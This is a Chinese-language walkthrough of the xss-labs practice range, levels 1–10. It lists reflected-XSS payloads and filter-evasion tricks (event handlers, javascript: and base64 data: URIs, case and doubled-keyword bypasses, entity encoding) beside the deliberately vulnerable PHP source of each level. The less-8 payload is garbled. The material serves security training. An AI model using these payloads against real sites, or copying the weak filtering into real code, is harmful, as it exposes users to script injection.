xss-labs(less1-10)
less-1
Less-1 (反射型xss)payload:<script>alert(‘test’)</script>
原始碼:
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>歡迎使用者".$str."</h2>";
?>
沒有任何過濾,get方式接收資料後直接作為引數提交
less-2
Less-2 (反射型xss)
Payload:"><script>alert('test')</script>
通過前端回顯的資訊發現: 使用者輸入的get請求新增到h2標籤中和form表單中inout標籤的value屬性的值,檢視原始碼
發現<>被編碼了。 但是value屬性的值沒有被編碼,可以直接返回,所以我們可以構造以下閉合values屬性實現彈窗
原始碼: ini_set("display_errors",0); $str=$_GET["keyword"]; echo"<h2align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <formaction=level2.phpmethod=GET> <inputname=keywordvalue="'.$str.'">
Htmlspecialchars()函式對變數str進行處理,把 尖括號 轉換為實體,常用於防止瀏覽器將其用作 HTML 元素。所以在
標籤這裡被過濾。input標籤的value屬性值中,因為這裡並沒有對敏感字元進行編碼和過濾,所以可以通過構造實現XSS攻擊
less-3
payload:payload:
'onclick='alert(1)
'onfocus=javascript:alert('xss') >
'onmouseover=javascript:alert(1) >
正常輸入<script>alert('test')</script>
輸入">// 也沒有正常彈窗,看原始碼<、>這樣的敏感字元編碼成了html字元實體。猜測伺服器端在這兩處都用htmlspecialchars()函式進行了處理。
有兩隻方法。第一種;使用onclick,第二種:使用onfocus
onclick:事件,當按鈕點選時執行js程式碼,onclick事件會在元素被點選時發生。
onfocus:事件,當input輸入框獲取焦點時執行一段js程式碼,onfocus事件在物件獲得焦點時發生。nfocus是javascript中在物件獲得焦點時發生的事件,最簡單的例項就是網頁上的一個輸入框,當使用滑鼠點選該輸入框時輸入框被選中可以輸入內容的時候就是該輸入框獲得焦點的時候,此時輸入框就會觸發onfocus事件.因此點選當前頁面的輸入框就可以完成彈框。
less-4
與上一關一樣也是構造一個事件,只不過第四關的過濾方式不一樣
payload:"onfocus=javascript:alert('xss') "
原始碼:
<?php
ini_set("display_errors",0);
$str=$_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo"<h2align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<formaction=level4.phpmethod=GET>
<inputname=keywordvalue="'.$str3.'">
<inputtype=submitname=submitvalue=搜尋/>
</form>
</center>';
原始碼中過濾了尖括號之後拼接到了h2標籤中,在value屬性處把尖括號刪掉然後顯示了 我們可以構造payload不適用尖括號。
less-5
payload:"> <a href=javascript:alert('xss') > xss</a>
標籤中把尖括號編碼顯示,value屬性處加了個下劃線_, 再次使用onfocus觸發事件彈窗時,發現並沒有彈窗
原始碼:
<?php
ini_set("display_errors",0);
$str=strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo"<h2align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<formaction=level5.phpmethod=GET>
<inputname=keywordvalue="'.$str3.'">
<inputtype=submitname=submitvalue=搜尋/>
對<
script>
標籤 字元on進行了過濾,無法通過<
script>
標籤觸發事件進行彈窗。可以建立一個新標籤來執行js程式碼
less-6
payload:
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=">ceshi</a>
<img src=111 onerror=alert('xss')>
輸入<script>alert(1)</script>
輸入"><a harf=javascript:alert('xss')>xss</a>
原始碼:
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
對script標籤字元on,src,data,href進行了過濾,但是我們知道在html中,對href屬性的大小寫是不敏感的,我們可以嘗試大寫繞過
Payload:"> <a hREF="javascript:alert('xss')">xss</a>。
在原始碼中有個過濾src,src是<img>標籤中的一個屬性,正常的引用圖片就是將帶引用圖片的地址賦值給src屬性。
用第一關演示payload:<img src=111 onerror=alert('xss')>
在原始碼中有個過濾data,bata的用法就是對javascript:alert("xss") 或者 <script>alert("xss")</script>等需要使用的進行base64編碼,然後在原本的位置替換一下即可,
payload;
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=">ceshi</a>
第一關示例
less-7
payload:"oonnfocus=javascrscriptipt:alert('xss') "
試了下前幾關的方法,觸發事件,大小寫繞過都不行
原始碼:
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level7.php method=GET>
原始碼中使用了strtolower函式 字元全部變成小寫所以大小寫繞過失效,看了下大佬的部落格發現是雙寫繞過,因為在解析過程中頁面原始碼發現通過雙寫關鍵字被伺服器端刪除之後成功保留了我們原本想要的惡意程式碼
但是我發現不對javascript進行雙寫,只對onfocus雙寫也可以繞過
less-8
payload:Payload:javascript:alert('xss')----(unicode編碼)---------->javascript:alert('xss')
先測試
可以看到輸入的東西被轉換成了字串而且也插入了下劃線
思路就是轉成unicode編碼 就可以了
less-9
Payload:javascript:alert(1)//http://
一定要在中間加上//
進行測試,發現這個請求是url
之後在<script>alert(1)</script>後面加上了http:// -----><script>alert(1)</script>;http://
script標籤被過濾
再試一下觸發事件
javascript:alert('xss')http://
對scri也進行了過濾
對javascript:alert('xss')進行編碼試一下,成功繞過
原始碼:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=新增友情連結 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的連結不合法?有沒有!">友情連結</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情連結</a></center>';
}
?>
原始碼中對關鍵字過濾,之後對處理後的字元進行查詢如果該字元中含有http://就返回第一次出現的位置,也就可以將該字元插入到href屬性值中了,但是如果字元中沒有http://的話就會返回false
less-10
正常及逆行測試
發現有三個隱藏表單有三個input標籤的話,也就意味著是三個引數。
名為t_sort的input標籤,之前都是隱藏狀態,但是通過構造引數響應發現只有它裡面的值被改變。做法就是對type屬性的hidden刪除或者修改成text,然後會出來一個視窗,在視窗處輸入js程式碼完成彈窗
原始碼:
<?php
ini_set("display_errors",0);
$str=$_GET["keyword"];
$str11=$_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo"<h2align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<formid=search>
<inputname="t_link"value="'.'"type="hidden">
<inputname="t_history"value="'.'"type="hidden">
<inputname="t_sort"value="'.$str33.'"type="hidden">
</form>
</center>';
?>
<center><imgsrc=level10.png></center>
<?php
echo"<h3align=center>payload的長度:".strlen($str)."</h3>";
?>
原始碼中先接收T_sort引數請求,在最後對尖括號進行過濾刪除,從這裡來看的話這一關就只能是將js程式碼插入到input標籤的屬性值中來執行而不能通過閉合input標籤引入新的標籤來觸發XSs攻擊